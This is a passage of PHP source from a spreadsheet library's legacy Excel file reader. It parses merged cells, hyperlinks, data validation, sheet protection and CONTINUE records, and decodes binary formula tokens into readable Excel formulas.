$rangeBoundaries[1][0]; ++$column) { if ($this->getReadFilter()->readCell($column, $row, $this->phpSheet->getTitle())) { $includeCellRange = true; break 2; } } } } return $includeCellRange; } /** * MERGEDCELLS. * * This record contains the addresses of merged cell ranges * in the current sheet. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMergedCells(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { $cellRangeAddressList = $this->readBIFF8CellRangeAddressList($recordData); foreach ($cellRangeAddressList['cellRangeAddresses'] as $cellRangeAddress) { if ( (str_contains($cellRangeAddress, ':')) && ($this->includeCellRangeFiltered($cellRangeAddress)) ) { $this->phpSheet->mergeCells($cellRangeAddress, Worksheet::MERGE_CELL_CONTENT_HIDE); } } } } /** * Read HYPERLINK record. */ private function readHyperLink(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8; cell range address of all cells containing this hyperlink try { $cellRange = $this->readBIFF8CellRangeAddressFixed($recordData); } catch (PhpSpreadsheetException) { return; } // offset: 8, size: 16; GUID of StdLink // offset: 24, size: 4; unknown value // offset: 28, size: 4; option flags // bit: 0; mask: 0x00000001; 0 = no link or extant, 1 = file link or URL $isFileLinkOrUrl = (0x00000001 & self::getUInt2d($recordData, 28)) >> 0; // bit: 1; mask: 0x00000002; 0 = relative path, 1 = absolute path or URL //$isAbsPathOrUrl = (0x00000001 & self::getUInt2d($recordData, 28)) >> 1; // bit: 2 (and 4); mask: 0x00000014; 0 = no description $hasDesc = (0x00000014 & self::getUInt2d($recordData, 28)) >> 2; // bit: 3; mask: 0x00000008; 0 = no text, 1 = has text $hasText = (0x00000008 & self::getUInt2d($recordData, 28)) >> 3; // bit: 7; mask: 0x00000080; 0 = no target frame, 1 = has target frame $hasFrame = (0x00000080 & self::getUInt2d($recordData, 28)) >> 7; // bit: 8; mask: 0x00000100; 0 = file link or URL, 1 = UNC path (inc. server name) $isUNC = (0x00000100 & self::getUInt2d($recordData, 28)) >> 8; // offset within record data $offset = 32; if ($hasDesc) { // offset: 32; size: var; character count of description text $dl = self::getInt4d($recordData, 32); // offset: 36; size: var; character array of description text, no Unicode string header, always 16-bit characters, zero terminated //$desc = self::encodeUTF16(substr($recordData, 36, 2 * ($dl - 1)), false); $offset += 4 + 2 * $dl; } if ($hasFrame) { $fl = self::getInt4d($recordData, $offset); $offset += 4 + 2 * $fl; } // detect type of hyperlink (there are 4 types) $hyperlinkType = null; if ($isUNC) { $hyperlinkType = 'UNC'; } elseif (!$isFileLinkOrUrl) { $hyperlinkType = 'workbook'; } elseif (ord($recordData[$offset]) == 0x03) { $hyperlinkType = 'local'; } elseif (ord($recordData[$offset]) == 0xE0) { $hyperlinkType = 'URL'; } switch ($hyperlinkType) { case 'URL': // section 5.58.2: Hyperlink containing a URL // e.g. http://example.org/index.php // offset: var; size: 16; GUID of URL Moniker $offset += 16; // offset: var; size: 4; size (in bytes) of character array of the URL including trailing zero word $us = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: $us; character array of the URL, no Unicode string header, always 16-bit characters, zero-terminated $url = self::encodeUTF16(substr($recordData, $offset, $us - 2), false); $nullOffset = strpos($url, chr(0x00)); if ($nullOffset) { $url = substr($url, 0, $nullOffset); } $url .= $hasText ? '#' : ''; $offset += $us; break; case 'local': // section 5.58.3: Hyperlink to local file // examples: // mydoc.txt // ../../somedoc.xls#Sheet!A1 // offset: var; size: 16; GUI of File Moniker $offset += 16; // offset: var; size: 2; directory up-level count. $upLevelCount = self::getUInt2d($recordData, $offset); $offset += 2; // offset: var; size: 4; character count of the shortened file path and name, including trailing zero word $sl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: sl; character array of the shortened file path and name in 8.3-DOS-format (compressed Unicode string) $shortenedFilePath = substr($recordData, $offset, $sl); $shortenedFilePath = self::encodeUTF16($shortenedFilePath, true); $shortenedFilePath = substr($shortenedFilePath, 0, -1); // remove trailing zero $offset += $sl; // offset: var; size: 24; unknown sequence $offset += 24; // extended file path // offset: var; size: 4; size of the following file link field including string lenth mark $sz = self::getInt4d($recordData, $offset); $offset += 4; $extendedFilePath = ''; // only present if $sz > 0 if ($sz > 0) { // offset: var; size: 4; size of the character array of the extended file path and name $xl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size 2; unknown $offset += 2; // offset: var; size $xl; character array of the extended file path and name. $extendedFilePath = substr($recordData, $offset, $xl); $extendedFilePath = self::encodeUTF16($extendedFilePath, false); $offset += $xl; } // construct the path $url = str_repeat('..\\', $upLevelCount); $url .= ($sz > 0) ? $extendedFilePath : $shortenedFilePath; // use extended path if available $url .= $hasText ? '#' : ''; break; case 'UNC': // section 5.58.4: Hyperlink to a File with UNC (Universal Naming Convention) Path // todo: implement return; case 'workbook': // section 5.58.5: Hyperlink to the Current Workbook // e.g. Sheet2!B1:C2, stored in text mark field $url = 'sheet://'; break; default: return; } if ($hasText) { // offset: var; size: 4; character count of text mark including trailing zero word $tl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: var; character array of the text mark without the # sign, no Unicode header, always 16-bit characters, zero-terminated $text = self::encodeUTF16(substr($recordData, $offset, 2 * ($tl - 1)), false); $url .= $text; } // apply the hyperlink to all the relevant cells foreach (Coordinate::extractAllCellReferencesInRange($cellRange) as $coordinate) { $this->phpSheet->getCell($coordinate)->getHyperLink()->setUrl($url); } } } /** * Read DATAVALIDATIONS record. */ private function readDataValidations(): void { $length = self::getUInt2d($this->data, $this->pos + 2); //$recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; } /** * Read DATAVALIDATION record. */ private function readDataValidation(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 4; Options $options = self::getInt4d($recordData, 0); // bit: 0-3; mask: 0x0000000F; type $type = (0x0000000F & $options) >> 0; $type = Xls\DataValidationHelper::type($type); // bit: 4-6; mask: 0x00000070; error type $errorStyle = (0x00000070 & $options) >> 4; $errorStyle = Xls\DataValidationHelper::errorStyle($errorStyle); // bit: 7; mask: 0x00000080; 1= formula is explicit (only applies to list) // I have only seen cases where this is 1 //$explicitFormula = (0x00000080 & $options) >> 7; // bit: 8; mask: 0x00000100; 1= empty cells allowed $allowBlank = (0x00000100 & $options) >> 8; // bit: 9; mask: 0x00000200; 1= suppress drop down arrow in list type validity $suppressDropDown = (0x00000200 & $options) >> 9; // bit: 18; mask: 0x00040000; 1= show prompt box if cell selected $showInputMessage = (0x00040000 & $options) >> 18; // bit: 19; mask: 0x00080000; 1= show error box if invalid values entered $showErrorMessage = (0x00080000 & $options) >> 19; // bit: 20-23; mask: 0x00F00000; condition operator $operator = (0x00F00000 & $options) >> 20; $operator = Xls\DataValidationHelper::operator($operator); if ($type === null || $errorStyle === null || $operator === null) { return; } // offset: 4; size: var; title of the prompt box $offset = 4; $string = self::readUnicodeStringLong(substr($recordData, $offset)); $promptTitle = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; title of the error box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $errorTitle = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; text of the prompt box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $prompt = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; text of the error box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $error = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: 2; size of the formula data for the first condition $sz1 = self::getUInt2d($recordData, $offset); $offset += 2; // offset: var; size: 2; not used $offset += 2; // offset: var; size: $sz1; formula data for first condition (without size field) $formula1 = substr($recordData, $offset, $sz1); $formula1 = pack('v', $sz1) . $formula1; // prepend the length try { $formula1 = $this->getFormulaFromStructure($formula1); // in list type validity, null characters are used as item separators if ($type == DataValidation::TYPE_LIST) { $formula1 = str_replace(chr(0), ',', $formula1); } } catch (PhpSpreadsheetException $e) { return; } $offset += $sz1; // offset: var; size: 2; size of the formula data for the first condition $sz2 = self::getUInt2d($recordData, $offset); $offset += 2; // offset: var; size: 2; not used $offset += 2; // offset: var; size: $sz2; formula data for second condition (without size field) $formula2 = substr($recordData, $offset, $sz2); $formula2 = pack('v', $sz2) . $formula2; // prepend the length try { $formula2 = $this->getFormulaFromStructure($formula2); } catch (PhpSpreadsheetException) { return; } $offset += $sz2; // offset: var; size: var; cell range address list with $cellRangeAddressList = $this->readBIFF8CellRangeAddressList(substr($recordData, $offset)); $cellRangeAddresses = $cellRangeAddressList['cellRangeAddresses']; foreach ($cellRangeAddresses as $cellRange) { $stRange = $this->phpSheet->shrinkRangeToFit($cellRange); foreach (Coordinate::extractAllCellReferencesInRange($stRange) as $coordinate) { $objValidation = $this->phpSheet->getCell($coordinate)->getDataValidation(); $objValidation->setType($type); $objValidation->setErrorStyle($errorStyle); $objValidation->setAllowBlank((bool) $allowBlank); $objValidation->setShowInputMessage((bool) $showInputMessage); $objValidation->setShowErrorMessage((bool) $showErrorMessage); $objValidation->setShowDropDown(!$suppressDropDown); $objValidation->setOperator($operator); $objValidation->setErrorTitle($errorTitle); $objValidation->setError($error); $objValidation->setPromptTitle($promptTitle); $objValidation->setPrompt($prompt); $objValidation->setFormula1($formula1); $objValidation->setFormula2($formula2); } } } /** * Read SHEETLAYOUT record. Stores sheet tab color information. */ private function readSheetLayout(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; repeated record identifier 0x0862 // offset: 2; size: 10; not used // offset: 12; size: 4; size of record data // Excel 2003 uses size of 0x14 (documented), Excel 2007 uses size of 0x28 (not documented?) $sz = self::getInt4d($recordData, 12); switch ($sz) { case 0x14: // offset: 16; size: 2; color index for sheet tab $colorIndex = self::getUInt2d($recordData, 16); $color = Xls\Color::map($colorIndex, $this->palette, $this->version); $this->phpSheet->getTabColor()->setRGB($color['rgb']); break; case 0x28: // TODO: Investigate structure for .xls SHEETLAYOUT record as saved by MS Office Excel 2007 return; } } } /** * Read SHEETPROTECTION record (FEATHEADR). */ private function readSheetProtection(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; repeated record header // offset: 2; size: 2; FRT cell reference flag (=0 currently) // offset: 4; size: 8; Currently not used and set to 0 // offset: 12; size: 2; Shared feature type index (2=Enhanced Protetion, 4=SmartTag) $isf = self::getUInt2d($recordData, 12); if ($isf != 2) { return; } // offset: 14; size: 1; =1 since this is a feat header // offset: 15; size: 4; size of rgbHdrSData // rgbHdrSData, assume "Enhanced Protection" // offset: 19; size: 2; option flags $options = self::getUInt2d($recordData, 19); // bit: 0; mask 0x0001; 1 = user may edit objects, 0 = users must not edit objects // Note - do not negate $bool $bool = (0x0001 & $options) >> 0; $this->phpSheet->getProtection()->setObjects((bool) $bool); // bit: 1; mask 0x0002; edit scenarios // Note - do not negate $bool $bool = (0x0002 & $options) >> 1; $this->phpSheet->getProtection()->setScenarios((bool) $bool); // bit: 2; mask 0x0004; format cells $bool = (0x0004 & $options) >> 2; $this->phpSheet->getProtection()->setFormatCells(!$bool); // bit: 3; mask 0x0008; format columns $bool = (0x0008 & $options) >> 3; $this->phpSheet->getProtection()->setFormatColumns(!$bool); // bit: 4; mask 0x0010; format rows $bool = (0x0010 & $options) >> 4; $this->phpSheet->getProtection()->setFormatRows(!$bool); // bit: 5; mask 0x0020; insert columns $bool = (0x0020 & $options) >> 5; $this->phpSheet->getProtection()->setInsertColumns(!$bool); // bit: 6; mask 0x0040; insert rows $bool = (0x0040 & $options) >> 6; $this->phpSheet->getProtection()->setInsertRows(!$bool); // bit: 7; mask 0x0080; insert hyperlinks $bool = (0x0080 & $options) >> 7; $this->phpSheet->getProtection()->setInsertHyperlinks(!$bool); // bit: 8; mask 0x0100; delete columns $bool = (0x0100 & $options) >> 8; $this->phpSheet->getProtection()->setDeleteColumns(!$bool); // bit: 9; mask 0x0200; delete rows $bool = (0x0200 & $options) >> 9; $this->phpSheet->getProtection()->setDeleteRows(!$bool); // bit: 10; mask 0x0400; select locked cells // Note that this is opposite of most of above. $bool = (0x0400 & $options) >> 10; $this->phpSheet->getProtection()->setSelectLockedCells((bool) $bool); // bit: 11; mask 0x0800; sort cell range $bool = (0x0800 & $options) >> 11; $this->phpSheet->getProtection()->setSort(!$bool); // bit: 12; mask 0x1000; auto filter $bool = (0x1000 & $options) >> 12; $this->phpSheet->getProtection()->setAutoFilter(!$bool); // bit: 13; mask 0x2000; pivot tables $bool = (0x2000 & $options) >> 13; $this->phpSheet->getProtection()->setPivotTables(!$bool); // bit: 14; mask 0x4000; select unlocked cells // Note that this is opposite of most of above. $bool = (0x4000 & $options) >> 14; $this->phpSheet->getProtection()->setSelectUnlockedCells((bool) $bool); // offset: 21; size: 2; not used } /** * Read RANGEPROTECTION record * Reading of this record is based on Microsoft Office Excel 97-2000 Binary File Format Specification, * where it is referred to as FEAT record. */ private function readRangeProtection(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // local pointer in record data $offset = 0; if (!$this->readDataOnly) { $offset += 12; // offset: 12; size: 2; shared feature type, 2 = enhanced protection, 4 = smart tag $isf = self::getUInt2d($recordData, 12); if ($isf != 2) { // we only read FEAT records of type 2 return; } $offset += 2; $offset += 5; // offset: 19; size: 2; count of ref ranges this feature is on $cref = self::getUInt2d($recordData, 19); $offset += 2; $offset += 6; // offset: 27; size: 8 * $cref; list of cell ranges (like in hyperlink record) $cellRanges = []; for ($i = 0; $i < $cref; ++$i) { try { $cellRange = $this->readBIFF8CellRangeAddressFixed(substr($recordData, 27 + 8 * $i, 8)); } catch (PhpSpreadsheetException) { return; } $cellRanges[] = $cellRange; $offset += 8; } // offset: var; size: var; variable length of feature specific data //$rgbFeat = substr($recordData, $offset); $offset += 4; // offset: var; size: 4; the encrypted password (only 16-bit although field is 32-bit) $wPassword = self::getInt4d($recordData, $offset); $offset += 4; // Apply range protection to sheet if ($cellRanges) { $this->phpSheet->protectCells(implode(' ', $cellRanges), ($wPassword === 0) ? '' : strtoupper(dechex($wPassword)), true); } } } /** * Read a free CONTINUE record. Free CONTINUE record may be a camouflaged MSODRAWING record * When MSODRAWING data on a sheet exceeds 8224 bytes, CONTINUE records are used instead. Undocumented. * In this case, we must treat the CONTINUE record as a MSODRAWING record. */ private function readContinue(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // check if we are reading drawing data // this is in case a free CONTINUE record occurs in other circumstances we are unaware of if ($this->drawingData == '') { // move stream pointer to next record $this->pos += 4 + $length; return; } // check if record data is at least 4 bytes long, otherwise there is no chance this is MSODRAWING data if ($length < 4) { // move stream pointer to next record $this->pos += 4 + $length; return; } // dirty check to see if CONTINUE record could be a camouflaged MSODRAWING record // look inside CONTINUE record to see if it looks like a part of an Escher stream // we know that Escher stream may be split at least at // 0xF003 MsofbtSpgrContainer // 0xF004 MsofbtSpContainer // 0xF00D MsofbtClientTextbox $validSplitPoints = [0xF003, 0xF004, 0xF00D]; // add identifiers if we find more $splitPoint = self::getUInt2d($recordData, 2); if (in_array($splitPoint, $validSplitPoints)) { // get spliced record data (and move pointer to next record) $splicedRecordData = $this->getSplicedRecordData(); $this->drawingData .= $splicedRecordData['recordData']; return; } // move stream pointer to next record $this->pos += 4 + $length; } /** * Reads a record from current position in data stream and continues reading data as long as CONTINUE * records are found. Splices the record data pieces and returns the combined string as if record data * is in one piece. * Moves to next current position in data stream to start of next record different from a CONtINUE record. */ private function getSplicedRecordData(): array { $data = ''; $spliceOffsets = []; $i = 0; $spliceOffsets[0] = 0; do { ++$i; // offset: 0; size: 2; identifier //$identifier = self::getUInt2d($this->data, $this->pos); // offset: 2; size: 2; length $length = self::getUInt2d($this->data, $this->pos + 2); $data .= $this->readRecordData($this->data, $this->pos + 4, $length); $spliceOffsets[$i] = $spliceOffsets[$i - 1] + $length; $this->pos += 4 + $length; $nextIdentifier = self::getUInt2d($this->data, $this->pos); } while ($nextIdentifier == self::XLS_TYPE_CONTINUE); return [ 'recordData' => $data, 'spliceOffsets' => $spliceOffsets, ]; } /** * Convert formula structure into human readable Excel formula like 'A3+A5*5'. * * @param string $formulaStructure The complete binary data for the formula * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * * @return string Human readable formula */ private function getFormulaFromStructure(string $formulaStructure, string $baseCell = 'A1'): string { // offset: 0; size: 2; size of the following formula data $sz = self::getUInt2d($formulaStructure, 0); // offset: 2; size: sz $formulaData = substr($formulaStructure, 2, $sz); // offset: 2 + sz; size: variable (optional) if (strlen($formulaStructure) > 2 + $sz) { $additionalData = substr($formulaStructure, 2 + $sz); } else { $additionalData = ''; } return $this->getFormulaFromData($formulaData, $additionalData, $baseCell); } /** * Take formula data and additional data for formula and return human readable formula. * * @param string $formulaData The binary data for the formula itself * @param string $additionalData Additional binary data going with the formula * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * * @return string Human readable formula */ private function getFormulaFromData(string $formulaData, string $additionalData = '', string $baseCell = 'A1'): string { // start parsing the formula data $tokens = []; while ($formulaData !== '' && $token = $this->getNextToken($formulaData, $baseCell)) { $tokens[] = $token; $formulaData = substr($formulaData, $token['size']); } $formulaString = $this->createFormulaFromTokens($tokens, $additionalData); return $formulaString; } /** * Take array of tokens together with additional data for formula and return human readable formula. * * @param string $additionalData Additional binary data going with the formula * * @return string Human readable formula */ private function createFormulaFromTokens(array $tokens, string $additionalData): string { // empty formula? if (empty($tokens)) { return ''; } $formulaStrings = []; foreach ($tokens as $token) { // initialize spaces $space0 = $space0 ?? ''; // spaces before next token, not tParen $space1 = $space1 ?? ''; // carriage returns before next token, not tParen $space2 = $space2 ?? ''; // spaces before opening parenthesis $space3 = $space3 ?? ''; // carriage returns before opening parenthesis $space4 = $space4 ?? ''; // spaces before closing parenthesis $space5 = $space5 ?? ''; // carriage returns before closing parenthesis switch ($token['name']) { case 'tAdd': // addition case 'tConcat': // addition case 'tDiv': // division case 'tEQ': // equality case 'tGE': // greater than or equal case 'tGT': // greater than case 'tIsect': // intersection case 'tLE': // less than or equal case 'tList': // less than or equal case 'tLT': // less than case 'tMul': // multiplication case 'tNE': // multiplication case 'tPower': // power case 'tRange': // range case 'tSub': // subtraction $op2 = array_pop($formulaStrings); $op1 = array_pop($formulaStrings); $formulaStrings[] = "$op1$space1$space0{$token['data']}$op2"; unset($space0, $space1); break; case 'tUplus': // unary plus case 'tUminus': // unary minus $op = array_pop($formulaStrings); $formulaStrings[] = "$space1$space0{$token['data']}$op"; unset($space0, $space1); break; case 'tPercent': // percent sign $op = array_pop($formulaStrings); $formulaStrings[] = "$op$space1$space0{$token['data']}"; unset($space0, $space1); break; case 'tAttrVolatile': // indicates volatile function case 'tAttrIf': case 'tAttrSkip': case 'tAttrChoose': // token is only important for Excel formula evaluator // do nothing break; case 'tAttrSpace': // space / carriage return // space will be used when next token arrives, do not alter formulaString stack switch ($token['data']['spacetype']) { case 'type0': $space0 = str_repeat(' ', $token['data']['spacecount']); break; case 'type1': $space1 = str_repeat("\n", $token['data']['spacecount']); break; case 'type2': $space2 = str_repeat(' ', $token['data']['spacecount']); break; case 'type3': $space3 = str_repeat("\n", $token['data']['spacecount']); break; case 'type4': $space4 = str_repeat(' ', $token['data']['spacecount']); break; case 'type5': $space5 = str_repeat("\n", $token['data']['spacecount']); break; } break; case 'tAttrSum': // SUM function with one parameter $op = array_pop($formulaStrings); $formulaStrings[] = "{$space1}{$space0}SUM($op)"; unset($space0, $space1); break; case 'tFunc': // function with fixed number of arguments case 'tFuncV': // function with variable number of arguments if ($token['data']['function'] != '') { // normal function $ops = []; // array of operators for ($i = 0; $i < $token['data']['args']; ++$i) { $ops[] = array_pop($formulaStrings); } $ops = array_reverse($ops); $formulaStrings[] = "$space1$space0{$token['data']['function']}(" . implode(',', $ops) . ')'; unset($space0, $space1); } else { // add-in function $ops = []; // array of operators for ($i = 0; $i < $token['data']['args'] - 1; ++$i) { $ops[] = array_pop($formulaStrings); } $ops = array_reverse($ops); $function = array_pop($formulaStrings); $formulaStrings[] = "$space1$space0$function(" . implode(',', $ops) . ')'; unset($space0, $space1); } break; case 'tParen': // parenthesis $expression = array_pop($formulaStrings); $formulaStrings[] = "$space3$space2($expression$space5$space4)"; unset($space2, $space3, $space4, $space5); break; case 'tArray': // array constant $constantArray = self::readBIFF8ConstantArray($additionalData); $formulaStrings[] = $space1 . $space0 . $constantArray['value']; $additionalData = substr($additionalData, $constantArray['size']); // bite of chunk of additional data unset($space0, $space1); break; case 'tMemArea': // bite off chunk of additional data $cellRangeAddressList = $this->readBIFF8CellRangeAddressList($additionalData); $additionalData = substr($additionalData, $cellRangeAddressList['size']); $formulaStrings[] = "$space1$space0{$token['data']}"; unset($space0, $space1); break; case 'tArea': // cell range address case 'tBool': // boolean case 'tErr': // error code case 'tInt': // integer case 'tMemErr': case 'tMemFunc': case 'tMissArg': case 'tName': case 'tNameX': case 'tNum': // number case 'tRef': // single cell reference case 'tRef3d': // 3d cell reference case 'tArea3d': // 3d cell range reference case 'tRefN': case 'tAreaN': case 'tStr': // string $formulaStrings[] = "$space1$space0{$token['data']}"; unset($space0, $space1); break; } } $formulaString = $formulaStrings[0]; return $formulaString; } /** * Fetch next token from binary formula data. * * @param string $formulaData Formula data * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas */ private function getNextToken(string $formulaData, string $baseCell = 'A1'): array { // offset: 0; size: 1; token id $id = ord($formulaData[0]); // token id $name = false; // initialize token name switch ($id) { case 0x03: $name = 'tAdd'; $size = 1; $data = '+'; break; case 0x04: $name = 'tSub'; $size = 1; $data = '-'; break; case 0x05: $name = 'tMul'; $size = 1; $data = '*'; break; case 0x06: $name = 'tDiv'; $size = 1; $data = '/'; break; case 0x07: $name = 'tPower'; $size = 1; $data = '^'; break; case 0x08: $name = 'tConcat'; $size = 1; $data = '&'; break; case 0x09: $name = 'tLT'; $size = 1; $data = '<'; break; case 0x0A: $name = 'tLE'; $size = 1; $data = '<='; break; case 0x0B: $name = 'tEQ'; $size = 1; $data = '='; break; case 0x0C: $name = 'tGE'; $size = 1; $data = '>='; break; case 0x0D: $name = 'tGT'; $size = 1; $data = '>'; break; case 0x0E: $name = 'tNE'; $size = 1; $data = '<>'; break; case 0x0F: $name = 'tIsect'; $size = 1; $data = ' '; break; case 0x10: $name = 'tList'; $size = 1; $data = ','; break; case 0x11: $name = 'tRange'; $size = 1; $data = ':'; break; case 0x12: $name = 'tUplus'; $size = 1; $data = '+'; break; case 0x13: $name = 'tUminus'; $size = 1; $data = '-'; break; case 0x14: $name = 'tPercent'; $size = 1; $data = '%'; break; case 0x15: // parenthesis $name = 'tParen'; $size = 1; $data = null; break; case 0x16: // missing argument $name = 'tMissArg'; $size = 1; $data = ''; break; case 0x17: // string $name = 'tStr'; // offset: 1; size: var; Unicode string, 8-bit string length $string = self::readUnicodeStringShort(substr($formulaData, 1)); $size = 1 + $string['size']; $data = self::UTF8toExcelDoubleQuoted($string['value']); break; case 0x19: // Special attribute // offset: 1; size: 1; attribute type flags: switch (ord($formulaData[1])) { case 0x01: $name = 'tAttrVolatile'; $size = 4; $data = null; break; case 0x02: $name = 'tAttrIf'; $size = 4; $data = null; break; case 0x04: $name = 'tAttrChoose'; // offset: 2; size: 2; number of choices in the CHOOSE function ($nc, number of parameters decreased by 1) $nc = self::getUInt2d($formulaData, 2); // offset: 4; size: 2 * $nc // offset: 4 + 2 * $nc; size: 2 $size = 2 * $nc + 6; $data = null; break; case 0x08: $name = 'tAttrSkip'; $size = 4; $data = null; break; case 0x10: $name = 'tAttrSum'; $size = 4; $data = null; break; case 0x40: case 0x41: $name = 'tAttrSpace'; $size = 4; // offset: 2; size: 2; space type and position $spacetype = match (ord($formulaData[2])) { 0x00 => 'type0', 0x01 => 'type1', 0x02 => 'type2', 0x03 => 'type3', 0x04 => 'type4', 0x05 => 'type5', default => throw new Exception('Unrecognized space type in tAttrSpace token'), }; // offset: 3; size: 1; number of inserted spaces/carriage returns $spacecount = ord($formulaData[3]); $data = ['spacetype' => $spacetype, 'spacecount' => $spacecount]; break; default: throw new Exception('Unrecognized attribute flag in tAttr token'); } break; case 0x1C: // error code // offset: 1; size: 1; error code $name = 'tErr'; $size = 2; $data = Xls\ErrorCode::lookup(ord($formulaData[1])); break; case 0x1D: // boolean // offset: 1; size: 1; 0 = false, 1 = true; $name = 'tBool'; $size = 2; $data = ord($formulaData[1]) ? 'TRUE' : 'FALSE'; break; case 0x1E: // integer // offset: 1; size: 2; unsigned 16-bit integer $name = 'tInt'; $size = 3; $data = self::getUInt2d($formulaData, 1); break; case 0x1F: // number // offset: 1; size: 8; $name = 'tNum'; $size = 9; $data = self::extractNumber(substr($formulaData, 1)); $data = str_replace(',', '.', (string) $data); // in case non-English locale break; case 0x20: // array constant case 0x40: case 0x60: // offset: 1; size: 7; not used $name = 'tArray'; $size = 8; $data = null; break; case 0x21: // function with fixed number of arguments case 0x41: case 0x61: $name = 'tFunc'; $size = 3; // offset: 1; size: 2; index to built-in sheet function switch (self::getUInt2d($formulaData, 1)) { case 2: $function = 'ISNA'; $args = 1; break; case 3: $function = 'ISERROR'; $args = 1; break; case 10: $function = 'NA'; $args = 0; break; case 15: $function = 'SIN'; $args = 1; break; case 16: $function = 'COS'; $args = 1; break; case 17: $function = 'TAN'; $args = 1; break; case 18: $function = 'ATAN'; $args = 1; break; case 19: $function = 'PI'; $args = 0; break; case 20: $function = 'SQRT'; $args = 1; break; case 21: $function = 'EXP'; $args = 1; break; case 22: $function = 'LN'; $args = 1; break; case 23: $function = 'LOG10'; $args = 1; break; case 24: $function = 'ABS'; $args = 1; break; case 25: $function = 'INT'; $args = 1; break; case 26: $function = 'SIGN'; $args = 1; break; case 27: $function = 'ROUND'; $args = 2; break; case 30: $function = 'REPT'; $args = 2; break; case 31: $function = 'MID'; $args = 3; break; case 32: $function = 'LEN'; $args = 1; break; case 33: $function = 'VALUE'; $args = 1; break; case 34: $function = 'TRUE'; $args = 0; break; case 35: $function = 'FALSE'; $args = 0; break; case 38: $function = 'NOT'; $args = 1; break; case 39: $function = 'MOD'; $args = 2; break; case 40: $function = 'DCOUNT'; $args = 3; break; case 41: $function = 'DSUM'; $args = 3; break; case 42: $function = 'DAVERAGE'; $args = 3; break; case 43: $function = 'DMIN'; $args = 3; break; case 44: $function = 'DMAX'; $args = 3; break; case 45: $function = 'DSTDEV'; $args = 3; break; case 48: $function = 'TEXT'; $args = 2; break; case 61: $function = 'MIRR'; $args = 3; break; case 63: $function = 'RAND'; $args = 0; break; case 65: $function = 'DATE'; $args = 3; break; case 66: $function = 'TIME'; $args = 3; break; case 67: $function = 'DAY'; $args = 1; break; case 68: $function = 'MONTH'; $args = 1; break; case 69: $function = 'YEAR'; $args = 1; break; case 71: $function = 'HOUR'; $args = 1; break; case 72: $function = 'MINUTE'; $args = 1; break; case 73: $function = 'SECOND'; $args = 1; break; case 74: $function = 'NOW'; $args = 0; break; case 75: $function = 'AREAS'; $args = 1; break; case 76: $function = 'ROWS'; $args = 1; break; case 77: $function = 'COLUMNS'; $args = 1; break; case 83: $function = 'TRANSPOSE'; $args = 1; break; case 86: $function = 'TYPE'; $args = 1; break; case 97: $function = 'ATAN2'; $args = 2; break; case 98: $function = 'ASIN'; $args = 1; break; case 99: $function = 'ACOS'; $args = 1; break; case 105: $function = 'ISREF'; $args = 1; break; case 111: $function = 'CHAR'; $args = 1; break; case 112: $function = 'LOWER'; $args = 1; break; case 113: $function = 'UPPER'; $args = 1; break; case 114: $function = 'PROPER'; $args = 1; break; case 117: $function = 'EXACT'; $args = 2; break; case 118: $function = 'TRIM'; $args = 1; break; case 119: $function = 'REPLACE'; $args = 4; break; case 121: $function = 'CODE'; $args = 1; break; case 126: $function = 'ISERR'; $args = 1; break; case 127: $function = 'ISTEXT'; $args = 1; break; case 128: $function = 'ISNUMBER'; $args = 1; break; case 129: $function = 'ISBLANK'; $args = 1; break; case 130: $function = 'T'; $args = 1; break; case 131: $function = 'N'; $args = 1; break; case 140: $function = 'DATEVALUE'; $args = 1; break; case 141: $function = 'TIMEVALUE'; $args = 1; break; case 142: $function = 'SLN'; $args = 3; break; case 143: $function = 'SYD'; $args = 4; break; case 162: $function = 'CLEAN'; $args = 1; break; case 163: $function = 'MDETERM'; $args = 1; break; case 164: $function = 'MINVERSE'; $args = 1; break; case 165: $function = 'MMULT'; $args = 2; break; case 184: $function = 'FACT'; $args = 1; break; case 189: $function = 'DPRODUCT'; $args = 3; break; case 190: $function = 'ISNONTEXT'; $args = 1; break; case 195: $function = 'DSTDEVP'; $args = 3; break; case 196: $function = 'DVARP'; $args = 3; break; case 198: $function = 'ISLOGICAL'; $args = 1; break; case 199: $function = 'DCOUNTA'; $args = 3; break; case 207: $function = 'REPLACEB'; $args = 4; break; case 210: $function = 